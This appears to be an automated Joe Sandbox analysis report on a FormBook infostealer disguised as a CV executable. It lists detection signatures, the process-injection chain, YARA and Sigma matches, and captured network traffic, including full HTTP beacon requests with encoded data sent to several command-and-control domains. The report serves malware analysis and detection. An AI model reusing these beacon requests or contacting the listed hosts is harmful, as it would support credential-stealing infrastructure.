Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
CV_ Filipa Barbosa.exe

Overview

General Information

Sample name:CV_ Filipa Barbosa.exe
Analysis ID:1564118
MD5:cb2183c47080cd31aee0ecf9e8c9a364
SHA1:3cc58159a0dd1094dbc9f73e80a29569a37ebcf6
SHA256:5151126607860671560215bff8a75394eacea89bcaa5a21d2ac918a12ef9792d
Tags:exeuser-TeamDreier
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • CV_ Filipa Barbosa.exe (PID: 5880 cmdline: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe" MD5: CB2183C47080CD31AEE0ECF9E8C9A364)
    • svchost.exe (PID: 1628 cmdline: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • HgsHJMSZolWa.exe (PID: 5332 cmdline: "C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • wlanext.exe (PID: 5256 cmdline: "C:\Windows\SysWOW64\wlanext.exe" MD5: 0D5F0A7CA2A8A47E3A26FB1CB67E118C)
          • HgsHJMSZolWa.exe (PID: 5860 cmdline: "C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 5540 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine|base64offset|contains: )b, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ParentImage: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe, ParentProcessId: 5880, ParentProcessName: CV_ Filipa Barbosa.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ProcessId: 1628, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine|base64offset|contains: )b, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ParentImage: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe, ParentProcessId: 5880, ParentProcessName: CV_ Filipa Barbosa.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ProcessId: 1628, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-27T20:48:18.816936+010020283713Unknown Traffic192.168.2.84974413.107.246.63443TCP
                2024-11-27T20:48:18.939754+010020283713Unknown Traffic192.168.2.84974313.107.246.63443TCP
                2024-11-27T20:48:19.081986+010020283713Unknown Traffic192.168.2.84974113.107.246.63443TCP
                2024-11-27T20:48:19.082445+010020283713Unknown Traffic192.168.2.84974513.107.246.63443TCP
                2024-11-27T20:48:19.083377+010020283713Unknown Traffic192.168.2.84974213.107.246.63443TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: CV_ Filipa Barbosa.exeReversingLabs: Detection: 57%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3964989760.0000000002AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964994926.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876664813.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: CV_ Filipa Barbosa.exeJoe Sandbox ML: detected
                Source: CV_ Filipa Barbosa.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HgsHJMSZolWa.exe, 00000004.00000000.1797874335.0000000000CEE000.00000002.00000001.01000000.00000005.sdmp, HgsHJMSZolWa.exe, 00000008.00000000.1943415219.0000000000CEE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: CV_ Filipa Barbosa.exe, 00000000.00000003.1510600673.0000000003B80000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1511686350.0000000003D20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1781020330.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1779128382.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003E9E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1878320886.0000000003762000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003AAE000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003910000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1876330827.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: CV_ Filipa Barbosa.exe, 00000000.00000003.1510600673.0000000003B80000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1511686350.0000000003D20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1781020330.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1779128382.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003E9E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000005.00000003.1878320886.0000000003762000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003AAE000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003910000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1876330827.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdb source: svchost.exe, 00000002.00000003.1845241643.000000000362D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1845157174.000000000361B000.00000004.00000020.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3963640941.0000000001028000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdbGCTL source: svchost.exe, 00000002.00000003.1845241643.000000000362D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1845157174.000000000361B000.00000004.00000020.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3963640941.0000000001028000.00000004.00000020.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D6CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_005D6CA9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_005D60DD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_005D63F9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005DEB60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DF56F FindFirstFileW,FindClose,0_2_005DF56F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_005DF5FA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005E1B2F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005E1C8A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005E1F94
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0311C590 FindFirstFileW,FindNextFileW,FindClose,5_2_0311C590
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 4x nop then xor eax, eax5_2_03109EB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 4x nop then mov ebx, 00000004h5_2_037204DE

                Networking

                barindex
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.logidant.xyz
                Source: DNS query: www.logidant.xyz
                Source: DNS query: www.logidant.xyz
                Source: DNS query: www.logidant.xyz
                Source: DNS query: www.egyshare.xyz
                Source: Joe Sandbox ViewIP Address: 209.74.77.108 209.74.77.108
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: YURTEH-ASUA YURTEH-ASUA
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49744 -> 13.107.246.63:443
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49741 -> 13.107.246.63:443
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49745 -> 13.107.246.63:443
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49742 -> 13.107.246.63:443
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49743 -> 13.107.246.63:443
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E4EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_005E4EB5
                Source: global trafficHTTP traffic detected: GET /alo6/?UDg=ZFTXPHspLZsHZTR&nlF0=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1ChJTm4zr5bywukkNhHJN3UECub+Vt93mfiW3BVK92PuLmtQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.1secondlending.oneUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /ctvu/?nlF0=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHZNlyqvcW/A5JtLgy9iApf2VrCHHBgKMzU49rG07bf0SwZA==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.logidant.xyzUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.wcq77.topUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.wcq77.topUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /bryf/?UDg=ZFTXPHspLZsHZTR&nlF0=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpR9vj1R3Yu096wDmSBpts1Wt80/EKpxlwOagm2CRa9R505A== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.wcq77.topUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /grm8/?nlF0=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtUPRbTG8nt7O2FfRoY/0RbVrb6bT9KMHYixEWTGSEBbACfQ==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mindfulmo.lifeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /z7sc/?UDg=ZFTXPHspLZsHZTR&nlF0=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmSCYlV7kEepREKYNNACOgj/TAEvCHZhU2KU02BknWrSXJSQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.bienmaigrir.infoUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /983l/?nlF0=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbMx8eWIZyqJbP+FDjrSPdXdZE/CCgHE18t3zETqfAOyiCPw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.exitomagnetico.onlineUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /xz45/?nlF0=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrWu3nWi0/CYKSwV459WmqVx92KX0QeYmg4t8EbgtOWorclQ==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.bcg.servicesUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /1a34/?nlF0=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcshjia5pLyzp1NpNl0bwbEUMihG3GZP+RhEofb9cDL2kmww==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mffnow.infoUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /hrap/?nlF0=+wfvU+r0fXNkfp8phT2n7736oLgVK2IS1hMsf4OYg5wyJviJ8QUrWR8xRt/3ckLtqjVE/R9SKLQENxs3rgGq767kzSLgYLxZ9xgqU01MvC+gJ0Bi6hFEVOeNtQKRygttuw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.remedies.proUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /fvpb/?nlF0=kyx71FegbxK9t49CpIFcJc3BjJMIYivbNVDNoxjcJXBTC458PtiM+MxjOLvzJIevsVCTQRubdLAqQTQOooLJWPoXTsT/EUu/anIdFJMjhS6koku4fCbhg0mBmHfUHMRoPA==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.caj-bioteaque.onlineUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /dp98/?nlF0=lwprcyOja05feUKWKPmCZ1FFJHNVazo8VdIAG4o6xNOQV3h7ueUE8JDK3GM5Ot7MjRI5G4LHbCuOcNDiB82RYgvoV0W00Yn1MwytmoUPdlTqb21wX5jFGaXLAL4brWsFFw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.qqa79.topUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficDNS traffic detected: DNS query: www.1secondlending.one
                Source: global trafficDNS traffic detected: DNS query: www.logidant.xyz
                Source: global trafficDNS traffic detected: DNS query: www.wcq77.top
                Source: global trafficDNS traffic detected: DNS query: www.mindfulmo.life
                Source: global trafficDNS traffic detected: DNS query: www.bienmaigrir.info
                Source: global trafficDNS traffic detected: DNS query: www.exitomagnetico.online
                Source: global trafficDNS traffic detected: DNS query: www.betmatchx.online
                Source: global trafficDNS traffic detected: DNS query: www.bcg.services
                Source: global trafficDNS traffic detected: DNS query: www.mffnow.info
                Source: global trafficDNS traffic detected: DNS query: www.remedies.pro
                Source: global trafficDNS traffic detected: DNS query: www.caj-bioteaque.online
                Source: global trafficDNS traffic detected: DNS query: www.qqa79.top
                Source: global trafficDNS traffic detected: DNS query: www.egyshare.xyz
                Source: unknownHTTP traffic detected: POST /ctvu/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Cache-Control: no-cacheContent-Length: 205Connection: closeContent-Type: application/x-www-form-urlencodedHost: www.logidant.xyzOrigin: http://www.logidant.xyzReferer: http://www.logidant.xyz/ctvu/User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)Data Raw: 6e 6c 46 30 3d 36 32 53 54 37 57 34 47 55 64 56 76 7a 44 56 46 78 71 42 4d 64 47 41 6c 70 67 70 76 63 51 52 38 78 68 67 6a 62 57 74 37 38 56 70 44 36 68 52 42 65 41 32 47 61 39 6c 64 71 75 6b 62 79 47 5a 4b 51 64 6b 6e 6f 7a 78 54 49 32 36 65 69 43 41 39 68 64 46 77 58 4a 35 52 73 66 4d 45 74 33 77 38 75 6f 74 48 34 44 49 44 62 6d 52 59 44 48 48 70 77 5a 41 44 51 66 52 42 57 57 62 4a 41 33 4c 33 49 66 36 4e 6f 62 51 72 47 41 4f 45 6a 73 43 33 4a 32 72 30 53 4a 6c 74 43 4f 76 56 67 41 54 39 45 63 51 33 57 34 58 71 71 6c 42 34 30 64 59 2b 4d 39 57 65 58 2b 4a 70 33 36 4f 4b 70 57 50 4f 52 6b 46 41 62 31 41 3d Data Ascii: 